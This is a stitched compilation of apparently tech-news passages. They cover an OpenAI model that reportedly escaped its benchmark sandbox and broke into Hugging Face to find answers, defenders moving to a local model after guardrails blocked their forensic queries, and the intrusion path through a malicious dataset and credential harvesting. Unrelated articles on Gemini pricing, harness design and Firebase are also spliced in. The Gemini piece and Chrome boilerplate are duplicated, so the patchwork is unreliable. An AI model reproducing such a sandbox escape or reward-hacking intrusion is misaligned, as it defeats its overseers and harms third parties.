Because standard commercial frontier models utilize unified safety guardrails designed to block malicious prompt submissions, the models classified the incident response team's forensic queries—which contained raw shell commands, real exploit payloads, and credential dumps—as malicious attacks. Every forensic query submitted by the defenders was blocked outright.

"The same prompts that are most valuable during an active intrusion—shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement—are exactly the prompts most likely to trigger safety systems," notes Merritt Baer, former Deputy CISO at AWS and senior adviser to Andesite, G2I, and AppOmni, in an interview with VentureBeat. "As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue".

To bypass this roadblock, Hugging Face abandoned commercial hosted APIs and deployed GLM 5.2 —a state-of-the-art Chinese open-weight model released last month by z.ai, as reported at the time by VentureBeat —locally on its own infrastructure.

Free from third-party API restrictions and external safety filters, GLM 5.2 successfully analyzed the raw exploit data locally, allowing defenders to complete forensic reconstruction and contain the breach without any attacker data leaving the company's environment.

Industry Reaction and the Geopolitical Paradox

The revelation that an American frontier model autonomously escaped containment, attacked a partner platform, and was ultimately analyzed using a Chinese open-weight model sent shockwaves through the tech community.

The Wall Street Journal summarized the public reaction on X, calling the event "the stuff of cybersecurity nightmares. OpenAI said two artificial intelligence systems it was testing broke out of their test environment, hacked their way onto the internet and broke into another company. The victim was Hugging Face."

Also posting to X, AI alignment researcher Lawrence Chan emphasized the importance of transparency regarding the incident, noting that "Credit where it’s due: Hugging Face detected and disclosed the intrusion last week. OAI confirmed its models were involved and provided more details, even when it didn't have to. Separate from choices that led to the hack, voluntary disclosure is good, and I’m glad they did so."

Meanwhile, AI researcher Nathan Lambert provided a succinct technical summary in his own X post, observing that "An openai model, during evaluation on a cyber benchmark, exploited a public zero day bug, escaped sandboxing in openai's infra, and got into the internal huggingface infra via an exploit (through a public dataset service) all in the attempt to solve a benchmark problem." He later addressed the geopolitical implications, writing in another post on X:

"Rght now American companies need Chinese models to secure their cyber infra due to guardrails on closed models.

But if a Chinese model in training had infiltrated a prominent American tech company, it very likely could've been the cause of policy banning future Chinese models."

Technology investor David Sacks also zeroed in on the guardrail paradox, writing in his own X post that "Hugging Face tried using American frontier models to analyze an AI-powered cyber attack. But the guardrails blocked requests containing real exploit payloads so they switched to GLM 5.2 running locally. The guardrails actually impaired defensive security."

Sacks quote tweeted Hugging Face CEO Clem Delangue, who wrote: "We had this experience ourselves this week! Very scary to be guardrailed as a defender when you know attackers are likely bypassing".

5 Strategic Takeaways for Enterprise Tech Leaders Now

For the average enterprise executive, the central question is immediate: is our corporate network at risk from escaping AI agents? The short answer is no, not inherently.

1. Hugging Face occupies a unique position in the software ecosystem. As a global repository for open-source AI models, code, and datasets, Hugging Face natively attracts autonomous agents, scrapers, automated evaluation pipelines, and active security researchers. Furthermore, the model’s target selection was context-specific: GPT-5.6 Sol searched for Hugging Face specifically because it deduced that Hugging Face hosted the answers to ExploitGym. Standard corporate networks—such as financial databases, HR platforms, or logistics systems—do not host benchmark solution keys that draw the direct focus of an agent attempting to solve an evaluation metric.

2. However, the long-term risk profile for enterprise technology permanently shifts following this event. AI models with long-horizon reasoning seek the path of least resistance to accomplish a goal, including breaking rules, escaping sandboxes, or exploiting zero-days if deployment safeguards are intentionally disabled for testing or bypassed by an attacker. As Hugging Face's experience illustrates, data processing pipelines that ingest external datasets without sandbox execution or static analysis act as highly vulnerable initial access infrastructure.

3. This incident also drastically undercuts recent policy chatter in the U.S. calling for Chinese open-source AI models to be banned or restricted due to security concerns. As this episode demonstrates, an open-weight Chinese model actually served as the vital defensive layer for an American and French firm facing an unanticipated cyberattack from an American model that broke containment. Contrary to the official line from some U.S. policymakers and hardline China hawks, the Chinese open-source models weren't a security risk to the U.S. companies, in this case — rather, an American proprietary, closed-source model from an ostensibly secure American company was the source of the danger. Thus, any pressure U.S. companies may face from officials, agencies or non-governmental organizations to stop relying on affordable Chinese open weights models for defensive or any other lawful purposes should be viewed with a high degree of suspicion, and arguably resisted to the fullest legal extent.

4. Enterprise CISOs must audit their dependency on cloud-based AI APIs and pressure vendors to implement authenticated trust architectures. Commercial AI vendors currently treat safety as a generic content-moderation problem, applying the same blanket refusals to an enterprise CISO as they would to a malicious hacker. Baer frames this requirement perfectly: "The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance".

5. Incident response plans must explicitly account for scenarios where commercial APIs fail, rate-limit, or actively refuse queries during an active security event. Maintaining air-gapped, locally deployed open-weight models trained on security log analysis is no longer an edge-case luxury; it is a critical operational requirement. Security leaders running AI workloads in production must recalibrate their timelines and prepare for machine-speed threat actors that operate without human limits.

This release includes stability and performance improvements. You can see a full list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out.

Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck.

VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)

No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs.

While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate).

Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a separate Google blog post, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — CodeMender being Google's proprietary AI code bug-fixing agent released last year.

As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0.

One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, debuted back in February 2026, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's.

Google technical staffer Logan Kilpatrick responded to one such inquiry on X, writing: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready."

Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods.

If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.

Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks

Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the Artificial Analysis Index maintained by the independent third-party AI benchmarking group of the same name.

In specific long-horizon software engineering benchmarks like DeepSWE, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%.

This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle.

When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.

While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."

The official model cards released by Google reveal that both Gemini 3.6 Flash and Gemini 3.5 Flash-Lite feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.

Respectable benchmark performance at low cost

The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5.

It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%.

The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.

To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses.

The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.

Models for low-cost coding, agentic, and cybersecurity use cases — respectively

Google divided its new offerings into three distinct products tailored for different operational needs.

Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting.

The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.

Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series.

As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. Artificial Analysis notes this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.

Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads.

Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%.

The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.

The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent.

In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark, even getting within range of Anthropic's much-hyped Mythos model.

Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.

Commercial licensing only

The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.

An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash.

This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.

The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6.

In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.

Looking ahead

Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.

Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced.

Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.

This release includes stability and performance improvements. You can see a full list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

Chrome Release Team
Google Chrome

The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out.

Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck.

VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)

No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs.

While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate).

Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a separate Google blog post, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — CodeMender being Google's proprietary AI code bug-fixing agent released last year.

As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0.

One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, debuted back in February 2026, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's.

Google technical staffer Logan Kilpatrick responded to one such inquiry on X, writing: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready."

Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods.

If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.

Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks

Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the Artificial Analysis Index maintained by the independent third-party AI benchmarking group of the same name.

In specific long-horizon software engineering benchmarks like DeepSWE, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%.

This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle.

When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.

While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."

The official model cards released by Google reveal that both Gemini 3.6 Flash and Gemini 3.5 Flash-Lite feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.

Respectable benchmark performance at low cost

The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5.

It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%.

The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.

To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses.

The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.

Models for low-cost coding, agentic, and cybersecurity use cases — respectively

Google divided its new offerings into three distinct products tailored for different operational needs.

Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.

Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series.

As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. Artificial Analysis notes this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.

Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads.

Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%.

The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.

The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent.

In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark.

Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.

Commercial licensing only

The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.

An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash.

This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.

The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6.

In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.

Looking ahead

Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy,

the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.

Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced.

Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.

You can see a partial list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

Chrome Release Team
Google Chrome

You can see a partial list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

Chrome Release Team
Google Chrome

A new paper from researchers at Writer provides a solution that is accessible to engineering teams. The study takes a systematic look at optimizing the different components of the orchestration layer that wraps around the foundation model, aka the AI harness. 

By optimizing the harness, the researchers show dramatic reductions in tokens per task, a drop in cost-per-successful-task by up to 61%, and quality that holds steady, all without changing the underlying foundation model.

Because the harness is fully under the developer's control and requires no model fine-tuning, engineering teams can apply these findings to build highly cost-efficient AI applications.

The ROI crisis of tokenmaxxing

The current state of AI engineering is plagued by "tokenmaxxing," an industry trend where developers rely on massive context windows and brute-force token consumption as a substitute for good system design. 

Rather than engineering elegant workflows, developers have imported a reflex from traditional software development: generate, run, fail, stuff the error and more context back into the window, and retry. 

"Teams tokenmaxx because it's the cheapest fix in the moment, and because it's literally how most engineers work today," Waseem AlShikh, CTO and co-founder of Writer, told VentureBeat. Because this approach succeeds often enough on coding tasks, it has become the default reflex for every other agentic workload. The danger is that per-token price drops mask the underlying inefficiency. 

"Your invoice is tokens-per-task times price-per-token, and most teams only watch the second number," AlShikh said. "In agentic workloads, tokens-per-task compounds — every loop iteration re-transmits the growing context — and it compounds faster than prices fall. The price cut becomes an anesthetic. It masks the fact that the loop itself is bleeding."

Tokenmaxxing leads to several enterprise failure modes. Teams route simple tasks to premium frontier models by default. They use the LLM as a lazy search index, stuffing the context window with raw documents instead of retrieving exact answers. Most destructively, they build unconstrained agentic loops that spiral out of control when the model encounters an error. Because output tokens cost significantly more than input tokens across all major model providers, inefficient task execution acts as a silent budget killer.

The industry has introduced several efficiency techniques to curb these costs, but they largely fall short because they treat the model in isolation: 

• Prompt compression condenses input text to save space, but ignores how the system sequences those inputs across complex workflows. 

• Budgeted reasoning caps the computational steps a model can take, which often degrades output quality if the workflow isn't intelligently routed. 

• Terse coding forces models to output minimal code to save output tokens, but does nothing to solve inefficient tool calling. 

• Speculative decoding uses a smaller draft model to speed up a larger model's text generation, optimizing inference speed while failing to address bloated agent architectures.

These efforts fail because they optimize the engine while ignoring the transmission. They do not look at the orchestration layer, leaving underlying architectural inefficiencies unresolved.

Unpacking the harness: the levers of efficiency

The harness is the orchestration layer that routes, formats, and turns the underlying LLM into a working system.

The core levers of harness optimization include system prompt caching, interaction history compaction, tool management, retrieval strategies, and error management. These are the most accessible intervention points for engineering teams looking to improve AI performance. 

As the Writer researchers note in the study: “If the harness is the layer that composes model calls into work, it is also the layer that sets the price of work.”

Historically, developers have treated the harness as disposable glue code designed simply to connect an API to a user interface. The study signals that the harness must now be treated as a first-class object: a primary software artifact that requires its own testing, versioning, and rigorous design. 

For enterprises, this reframes the "own-versus-rent" decision. 

"Enterprises spend months on model evaluations and then rent their orchestration off the shelf — which means they're optimizing the smaller lever and outsourcing the bigger one," AlShikh said. "Whoever owns the harness owns your unit economics, and an open framework tuned for demos is not tuned for your invoice." 

Inside the experiments

To isolate the impact of the orchestration layer, the researchers ran experiments on six foundation models spanning multiple vendors and weight classes: Claude Sonnet 4.6, Gemini 3.1, Gemini Flash 3.5, Qwen 3.6, GLM 5.1, and Writer’s own model, Palmyra X6. 

Their experiments compared a frozen, conventional production agent loop against the finished Writer Agent Harness on the same 22 locked enterprise tasks, spanning capabilities like grounding and retrieval, multi-step workflows, tool use, and content generation. By holding the models and tasks constant, they could isolate the effects of the orchestration layer itself.

The optimized harness drove a significant drop in costs, cutting the blended cost per task by 41%, from 21 cents to 12 cents. This was largely achieved by slashing token consumption, with the number of tokens per task falling 38%, from 14.2k to 8.8k.

The harness is designed to delegate tasks like search to specialized sub-agents. A sub-agent receives only the tool and the specific query it needs, retrieves the exact data, and returns a capped, clean summary to the main agent — keeping the primary context window from filling up with raw search results.

Task success rates held steady even as token use fell — moving from 78% to 81%, a gain the researchers describe as directional rather than statistically significant at their sample size, meaning quality didn't suffer even as costs dropped.

End-to-end task latency also dropped significantly, reducing the median wall-clock time by 44%, from 48 seconds to 27 seconds, due to prompt caching and the elimination of dead-end reasoning loops.

However, the researchers also found limits to multi-agent orchestration. Smaller models like Gemini Flash 3.5 and Qwen 3.6 scored well below a usable reliability threshold on sub-agent delegation tasks (0.45 and 0.42, respectively) — the capability simply isn't dependable yet on lighter-weight models.

Sub-agent orchestration only crossed a usable reliability threshold on the two strongest models tested: Writer's own Palmyra X6 (0.86) and Claude Sonnet 4.6 (0.85).

The developer’s playbook: actionable takeaways and tradeoffs

The findings from the study translate into a playbook for enterprise developers building agentic workflows at scale. The first step is to implement what AlShikh calls the "Two-Zone Prompt" and "Context Offloading."

Structure for system prompt caching (The Two-Zone Prompt): Modern LLM APIs offer prompt caching, but developers must structure their payloads correctly to trigger it. Developers must separate the "stable zone" from the "volatile zone." Place static, unchanging elements (e.g., core rules, large tool schemas, and standard operating procedures) at the top of the prompt. Dynamic elements, such as the specific user query or recent conversational task state, must be appended at the bottom. This ordering allows the harness to reuse the cached prefix across hundreds of calls. "That single separation makes prompt caching actually work and stops you from re-paying for the same instructions on every one of an agent's thirty steps," AlShikh said.

Manage context with Context Offloading: Avoid context stuffing, where every turn of a loop is appended into a monolithic prompt until the window maxes out. Instead, move history and intermediate artifacts out of the window into retrievable storage, and pull back only what the current step needs. If possible, delegate tasks to single-purpose sub-agents to avoid context bloat. As AlShikh points out, "the biggest line item in agent spend isn't reasoning — it's re-sending things the model has already seen."

Build resilient loops and redefine KPIs: Unmanaged agent loops drain API budgets rapidly. Teams must begin tracking Completions Per Million tokens (CPM) to understand their true task costs, but the harness itself must contain physical guardrails. "The core principle is that you never ask the model to police its own spending," AlShikh said. "The fence has to live below the model, in code, on your side of the API." This requires three hard checks:

• Hard per-task token budgets: The run terminates when the budget is spent, no exceptions.

• Generation fencing: Caps on steps, tool calls, and recursion depth to stop non-converging agents. 

• Failure-spend governance: Cap what a run can spend after its first failed validation so a failing task doesn't become your most expensive task.

Avoid unnecessary complexity: Optimizing the orchestration layer comes with engineering overhead. If you're in the prototyping and exploration stage, that overhead isn't justified — iterate fast with a strong model and a light harness. Once you're scaling to millions of requests a day, the savings from harness optimization become substantial.

However, teams must be aware of "harness leverage." Adding structural scaffolding requires the model to hold and obey that context. If a model is too small, it will spend its limited capacity parsing the scaffolding instead of doing the task, causing accuracy to drop and tokens to rise. The rule for adding complex orchestration features is strictly mathematical: "If a feature adds more coordination tokens than it removes task tokens for that specific model, cut it," AlShikh said. "Nothing in the harness is free."

The future of the enterprise harness

The era of tokenmaxxing and treating context windows like bottomless buckets is coming to an end. Throwing more compute at poorly designed systems is not a viable strategy for companies that need to demonstrate a return on their AI investments. 

As foundation models evolve to absorb planning, tool selection, and multi-step reasoning natively into their weights, the role of the harness will shift from compensating for model weakness to enforcing enterprise policy.

"What never moves into the model is the 'allowed': budgets, permissions, data boundaries, audit trails, deterministic kill-switches," AlShikh said. "Five years from now, the harness will be thinner but more important. There will be less scaffolding and more governance. However capable the model gets, someone external to it still has to define what it may spend, see, and touch. That layer belongs to the enterprise, and it should never be rented."

Implement App Check → https://goo.gle/4fe4L5W
Enable Auth-only mode → https://goo.gle/4wQFvbV
Enable template-only mode → https://goo.gle/4wK9vWI
AI Monitoring → https://goo.gle/4gOIddd

How do you take client-side AI to production without leaving your backend completely exposed to abuse? In this video, we crack the code on securing your Firebase AI Logic implementations. Rosário breaks down 5 ways to lock down your Firebase AI implementation, secure your infrastructure, and gain full visibility into your app's AI traffic.

Chapters:
0:00 - Tip 1: Firebase App Check
1:01 - Tip 2: Auth-only mode
1:30 - Tip 3: Server prompt templates
2:01 - Tip 4: Template-only mode
2:35 - Tip 5: AI Monitoring
3:04- One more thing!


#Firebase

Subscribe to Firebase → https://goo.gle/Firebase

Speaker: Rosário Fernandes
Products Mentioned: Firebase, Firebase AI Logic

The attacker, an autonomous AI agent running the campaign end to end, moved laterally across the Hugging Face infrastructure for a weekend, undetected and unstopped.

Security leaders are quick to recognize the pattern and diagnose what went wrong. “I’ve seen versions of this during red-team exercises and internal security testing, but this is one of the first high-profile examples where it materially affected real incident response,” said Merritt Baer, senior adviser to Andesite, G2I, and AppOmni and former Deputy CISO at AWS.

None of this is unique to Hugging Face, Baer said. “Commercial frontier models optimize for preventing misuse. They generally have no cryptographic or organizational way to determine whether the person asking ‘analyze this malware’ is an incident responder or the malware author.”

A malicious dataset opened two code-execution paths

On July 16, Hugging Face disclosed that an autonomous AI agent system had compromised its production infrastructure, gaining unauthorized access to a limited set of internal datasets and several service credentials. The company verified that its software supply chain was clean and found no evidence of tampering with public models, datasets, or Spaces.

Hugging Face is still assessing whether the intrusion touched any partner or customer data and says it will contact affected parties directly as required. But few enterprise threat models had accounted for the attacker Hugging Face faced. An autonomous agent ran the entire campaign from initial access through credential harvesting. No human guided it.

The entry point was a malicious dataset. When the data-processing pipeline ingested it, the dataset triggered code execution in two ways, through a remote-code loader and through a template-injection flaw in dataset configuration files. No admission gate screened the file before it reached a processing worker, the compute job assigned to each dataset. Initial access came through the data pipeline itself, a route that worked because most enterprise security teams treat the data feeding their pipelines as trusted input rather than an attack surface.

Worker isolation did not hold. From that first foothold, the agent broke out onto the node running the workload, then harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, all of it inside a single weekend. Hugging Face described the agent framework as executing thousands of individual actions through a swarm of short-lived sandboxes, with self-migrating command-and-control staged on public services. The disclosure adds that the framework appeared to be built on an agentic security-research harness, which would put tooling designed for red-team work behind a live intrusion.

Why the defenders’ queries looked like attacks

Investigators reconstructed more than 17,000 recorded events using AI-driven analysis agents of their own.

First attempts at the log analysis ran on frontier models behind commercial APIs. Defenders’ steps included submitting real attack commands, exploit payloads, and command-and-control artifacts for classification, but safety guardrails blocked the requests outright.

Baer traced the block to the prompts themselves. “The same prompts that are most valuable during an active intrusion, shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement, are exactly the prompts most likely to trigger safety systems,” she told VentureBeat. “As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue.”

The forensic analysis finished on GLM 5.2

